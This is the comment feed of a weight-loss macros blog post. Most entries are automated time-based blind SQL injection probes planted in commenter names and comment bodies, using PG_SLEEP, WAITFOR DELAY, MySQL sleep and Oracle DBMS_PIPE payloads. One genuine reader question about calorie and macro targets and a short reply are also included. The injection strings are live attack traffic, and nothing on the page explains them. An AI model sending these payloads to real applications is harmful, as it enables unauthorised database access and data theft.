Comments on: Macros for Weight Loss (Printable Guide)

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By: QPbmCRVM

QPbmCRVM — Sun, 29 Jun 2025 10:32:13 +0000

In reply to QPbmCRVM. 1

By: QPbmCRVM

QPbmCRVM — Sun, 29 Jun 2025 10:31:58 +0000

In reply to QPbmCRVM. 1

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 14:25:58 +0000

In reply to QPbmCRVM. 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 14:25:42 +0000

In reply to QPbmCRVM. 1-1)) OR 237=(SELECT 237 FROM PG_SLEEP(15))--

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 14:25:27 +0000

In reply to QPbmCRVM. 1-1; waitfor delay '0:0:15' --

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 14:25:00 +0000

In reply to QPbmCRVM. 1*if(now()=sysdate(),sleep(15),0)

By: @@cIJ9F

@@cIJ9F — Sat, 28 Jun 2025 14:24:12 +0000

In reply to QPbmCRVM. 1

By: QPbmCRVMxuCZPxZa') OR 530=(SELECT 530 FROM PG_SLEEP(15))--

QPbmCRVMxuCZPxZa') OR 530=(SELECT 530 FROM PG_SLEEP(15))-- — Sat, 28 Jun 2025 14:23:49 +0000

In reply to QPbmCRVM. 1

By: (select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

Sat, 28 Jun 2025 14:23:33 +0000

In reply to QPbmCRVM. 1

By: if(now()=sysdate(),sleep(15),0)

if(now()=sysdate(),sleep(15),0) — Sat, 28 Jun 2025 14:23:16 +0000

In reply to QPbmCRVM. 1

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 14:21:41 +0000

In reply to QPbmCRVM. 1

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 11:34:14 +0000

1′”

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 11:33:58 +0000

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 11:33:40 +0000

18H3KcI8M’) OR 228=(SELECT 228 FROM PG_SLEEP(15))–

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 11:33:25 +0000

1-1)) OR 106=(SELECT 106 FROM PG_SLEEP(15))–

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 11:33:07 +0000

1-1 OR 673=(SELECT 673 FROM PG_SLEEP(15))–

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 11:32:48 +0000

1-1 waitfor delay ‘0:0:15’ —

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 11:32:28 +0000

1-1; waitfor delay ‘0:0:15’ —

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 11:32:10 +0000

10″XOR(1*if(now()=sysdate(),sleep(15),0))XOR”Z

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 11:31:51 +0000

1*if(now()=sysdate(),sleep(15),0)

By: @@9ht2M

@@9ht2M — Sat, 28 Jun 2025 11:27:05 +0000

By: QPbmCRVM'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Sat, 28 Jun 2025 11:26:35 +0000

By: QPbmCRVMKQIXUQW0')) OR 237=(SELECT 237 FROM PG_SLEEP(15))--

QPbmCRVMKQIXUQW0')) OR 237=(SELECT 237 FROM PG_SLEEP(15))-- — Sat, 28 Jun 2025 11:26:16 +0000

By: QPbmCRVMXTY88nnT' OR 695=(SELECT 695 FROM PG_SLEEP(15))--

QPbmCRVMXTY88nnT' OR 695=(SELECT 695 FROM PG_SLEEP(15))-- — Sat, 28 Jun 2025 11:25:58 +0000

By: QPbmCRVM-1 waitfor delay '0:0:15' --

QPbmCRVM-1 waitfor delay '0:0:15' -- — Sat, 28 Jun 2025 11:25:39 +0000

By: QPbmCRVM0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

QPbmCRVM0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z — Sat, 28 Jun 2025 11:25:11 +0000

By: QPbmCRVM

QPbmCRVM — Sat, 28 Jun 2025 11:19:55 +0000

By: lxbfYeaa

lxbfYeaa — Mon, 02 Dec 2024 21:25:34 +0000

1-1); waitfor delay ‘0:0:15’ —

By: lxbfYeaa

lxbfYeaa — Mon, 02 Dec 2024 21:25:07 +0000

1-1; waitfor delay ‘0:0:15’ —

By: lxbfYeaa

lxbfYeaa — Mon, 02 Dec 2024 21:24:33 +0000

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

By: lxbfYeaa

lxbfYeaa — Mon, 02 Dec 2024 21:23:56 +0000

10″XOR(1*if(now()=sysdate(),sleep(15),0))XOR”Z

By: lxbfYeaa

lxbfYeaa — Mon, 02 Dec 2024 21:23:22 +0000

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

By: lxbfYeaa

lxbfYeaa — Mon, 02 Dec 2024 21:22:51 +0000

1*if(now()=sysdate(),sleep(15),0)

By: lxbfYeaa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Mon, 02 Dec 2024 21:14:38 +0000

By: lxbfYeaaZW6dtav7')) OR 756=(SELECT 756 FROM PG_SLEEP(15))--

lxbfYeaaZW6dtav7')) OR 756=(SELECT 756 FROM PG_SLEEP(15))-- — Mon, 02 Dec 2024 21:14:14 +0000

By: lxbfYeaapnq2NY4o') OR 188=(SELECT 188 FROM PG_SLEEP(15))--

lxbfYeaapnq2NY4o') OR 188=(SELECT 188 FROM PG_SLEEP(15))-- — Mon, 02 Dec 2024 21:13:42 +0000

By: lxbfYeaa0cn0iWMh'; waitfor delay '0:0:15' --

lxbfYeaa0cn0iWMh'; waitfor delay '0:0:15' -- — Mon, 02 Dec 2024 21:12:46 +0000

By: lxbfYeaa-1 waitfor delay '0:0:15' --

lxbfYeaa-1 waitfor delay '0:0:15' -- — Mon, 02 Dec 2024 21:12:09 +0000

By: (select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

Mon, 02 Dec 2024 21:11:29 +0000

By: lxbfYeaa0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

lxbfYeaa0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z — Mon, 02 Dec 2024 21:11:00 +0000

By: lxbfYeaa0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

lxbfYeaa0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z — Mon, 02 Dec 2024 21:10:30 +0000

By: if(now()=sysdate(),sleep(15),0)

if(now()=sysdate(),sleep(15),0) — Mon, 02 Dec 2024 21:10:05 +0000

By: lxbfYeaa

lxbfYeaa — Mon, 02 Dec 2024 21:02:04 +0000

By: Alex

Alex — Mon, 07 Mar 2022 23:48:02 +0000

In reply to Stephanie Miller.

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By: Stephanie Miller

Stephanie Miller — Sun, 01 Mar 2020 17:11:06 +0000

In reply to Candy. Hi Candy, Sorry you are having such a difficult time. For your macros, I would recommend setting them at 40% carbs, 30% protein and 30% fats. For additional help, feel free to send me an email at stephanie@44.204.5.12.

By: Candy

Candy — Wed, 08 Jan 2020 21:20:04 +0000

Macros – Please Help!

I am 48 years old and had a full hysterectomy years ago. I had Biote Bioidentical hormone pellets inserted in October, 2019. I have not been to the gym for 3 months. I have been going to the gym the last couple years. I was working out 6 days a week, for an hour a day. I would lift weights for 40-50- minutes a day and 20 minutes of cardio 4-5 days a week. I also followed a low carb diet. My weight was not budging. I have an underactive thyroid and have been on Synthroid for years. But I have never had such a hard time losing weight the last couple of years. I am getting depressed. On top of it I have gained an additional 30lbs. during the Holidays. I have just purchased the premium my fitness pal. I want to do my calories and macros for weight loss. I was wondering if you could help me with figuring out my calories and macros? I am currently 212lbs., 48 years old, 5’4”. I need to get out of this funk but it is hard no matter what I do I can’t lose weight. I want to lose weight at a healthy rate. Thank you in advance for all your help.

Candy

Comments on: Macros for Weight Loss (Printable Guide)

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By: QPbmCRVMxuCZPxZa') OR 530=(SELECT 530 FROM PG_SLEEP(15))--

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By: QPbmCRVM'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

By: QPbmCRVMKQIXUQW0')) OR 237=(SELECT 237 FROM PG_SLEEP(15))--

By: QPbmCRVMXTY88nnT' OR 695=(SELECT 695 FROM PG_SLEEP(15))--

By: QPbmCRVM-1 waitfor delay '0:0:15' --

By: QPbmCRVM0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

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By: lxbfYeaapnq2NY4o') OR 188=(SELECT 188 FROM PG_SLEEP(15))--

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By: lxbfYeaa-1 waitfor delay '0:0:15' --

By: (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

By: lxbfYeaa0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

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By: if(now()=sysdate(),sleep(15),0)

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By: Candy

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